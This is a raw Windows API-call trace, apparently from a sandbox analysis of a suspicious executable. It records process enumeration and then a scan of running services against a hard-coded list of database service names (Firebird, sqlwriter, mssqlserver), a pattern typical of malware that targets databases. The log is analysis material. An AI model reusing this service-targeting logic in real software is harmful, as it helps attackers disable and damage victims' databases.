	[0069.332] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0069.332] lstrlenW (lpString="utg2.exe") returned 8
	[0069.332] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0069.333] lstrlenW (lpString="explicit.exe") returned 12
	[0069.333] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0069.334] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0069.334] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.334] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.334] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0069.335] lstrlenW (lpString="UsoClient.exe") returned 13
	[0069.335] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.336] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.336] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0069.336] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0069.336] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0069.337] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0069.337] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.338] lstrlenW (lpString="conhost.exe") returned 11
	[0069.338] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.339] lstrlenW (lpString="conhost.exe") returned 11
	[0069.339] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.339] lstrlenW (lpString="svchost.exe") returned 11
	[0069.339] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0069.340] lstrlenW (lpString="fvppjh.exe") returned 10
	[0069.340] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.341] lstrlenW (lpString="svchost.exe") returned 11
	[0069.341] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0069.341] lstrlenW (lpString="cmd.exe") returned 7
	[0069.341] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.342] lstrlenW (lpString="conhost.exe") returned 11
	[0069.342] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0069.342] lstrlenW (lpString="dllhost.exe") returned 11
	[0069.342] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0069.343] CloseHandle (hObject=0x360) returned 1
	[0069.343] Sleep (dwMilliseconds=0x1f4) 
	[0069.965] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e980
	[0069.965] EnumServicesStatusExW (in: hSCManager=0x75e980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0069.966] GetLastError () returned 0xea
	[0069.966] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x785210
	[0069.966] EnumServicesStatusExW (in: hSCManager=0x75e980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x785210, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x785210, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0069.967] CloseServiceHandle (hSCObject=0x75e980) returned 1
	[0069.967] lstrlenW (lpString="Appinfo") returned 7
	[0069.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0069.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0069.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0069.967] lstrlenW (lpString="AppXSvc") returned 7
	[0069.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0069.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0069.967] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0069.967] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0069.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0069.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0069.967] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0069.967] lstrlenW (lpString="Audiosrv") returned 8
	[0069.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0069.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0069.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0069.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0069.967] lstrlenW (lpString="BFE") returned 3
	[0069.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0069.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0069.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0069.968] lstrlenW (lpString="BITS") returned 4
	[0069.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0069.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0069.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0069.968] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0069.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0069.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0069.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0069.968] lstrlenW (lpString="CDPSvc") returned 6
	[0069.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0069.968] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0069.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0069.968] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0069.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0069.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0069.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0069.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0069.968] lstrlenW (lpString="CryptSvc") returned 8
	[0069.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0069.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0069.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0069.969] lstrlenW (lpString="DcomLaunch") returned 10
	[0069.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0069.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0069.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0069.969] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0069.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0069.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0069.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0069.969] lstrlenW (lpString="Dhcp") returned 4
	[0069.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0069.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0069.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0069.969] lstrlenW (lpString="Dnscache") returned 8
	[0069.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0069.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0069.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0069.969] lstrlenW (lpString="DoSvc") returned 5
	[0069.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0069.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0069.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0069.969] lstrlenW (lpString="DPS") returned 3
	[0069.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0069.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0069.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0069.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0069.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0069.970] lstrlenW (lpString="DusmSvc") returned 7
	[0069.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0069.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0069.973] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0069.973] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0069.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0069.974] lstrlenW (lpString="EventLog") returned 8
	[0069.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0069.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0069.974] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0069.974] lstrlenW (lpString="EventSystem") returned 11
	[0069.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0069.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0069.974] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0069.974] lstrlenW (lpString="FontCache") returned 9
	[0069.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0069.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0069.974] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0069.974] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0069.974] lstrlenW (lpString="gpsvc") returned 5
	[0069.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0069.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0069.974] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0069.974] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0069.974] lstrlenW (lpString="iphlpsvc") returned 8
	[0069.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0069.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0069.974] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0069.974] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0069.974] lstrlenW (lpString="KeyIso") returned 6
	[0069.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0069.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0069.974] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0069.974] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0069.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0069.975] lstrlenW (lpString="LanmanServer") returned 12
	[0069.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0069.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0069.975] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0069.975] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0069.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0069.975] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0069.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0069.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0069.975] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0069.975] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0069.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0069.975] lstrlenW (lpString="lfsvc") returned 5
	[0069.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0069.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0069.975] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0069.975] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0069.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0069.975] lstrlenW (lpString="lmhosts") returned 7
	[0069.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0069.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0069.975] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0069.975] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0069.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0069.975] lstrlenW (lpString="LSM") returned 3
	[0069.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0069.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0069.975] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0069.975] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0069.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0069.975] lstrlenW (lpString="MapsBroker") returned 10
	[0069.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0069.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0069.975] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0069.975] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0069.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0069.976] lstrlenW (lpString="MpsSvc") returned 6
	[0069.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0069.976] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0069.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0069.976] lstrlenW (lpString="NcbService") returned 10
	[0069.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0069.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0069.976] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0069.976] lstrlenW (lpString="netprofm") returned 8
	[0069.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0069.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0069.976] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0069.976] lstrlenW (lpString="NlaSvc") returned 6
	[0069.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0069.976] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0069.976] lstrlenW (lpString="nsi") returned 3
	[0069.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0069.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0069.976] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0069.976] lstrlenW (lpString="PcaSvc") returned 6
	[0069.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0069.976] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0069.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0069.976] lstrlenW (lpString="PlugPlay") returned 8
	[0069.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0069.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0069.977] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0069.977] lstrlenW (lpString="Power") returned 5
	[0069.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0069.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0069.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0069.977] lstrlenW (lpString="ProfSvc") returned 7
	[0069.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0069.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0069.977] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0069.977] lstrlenW (lpString="RpcEptMapper") returned 12
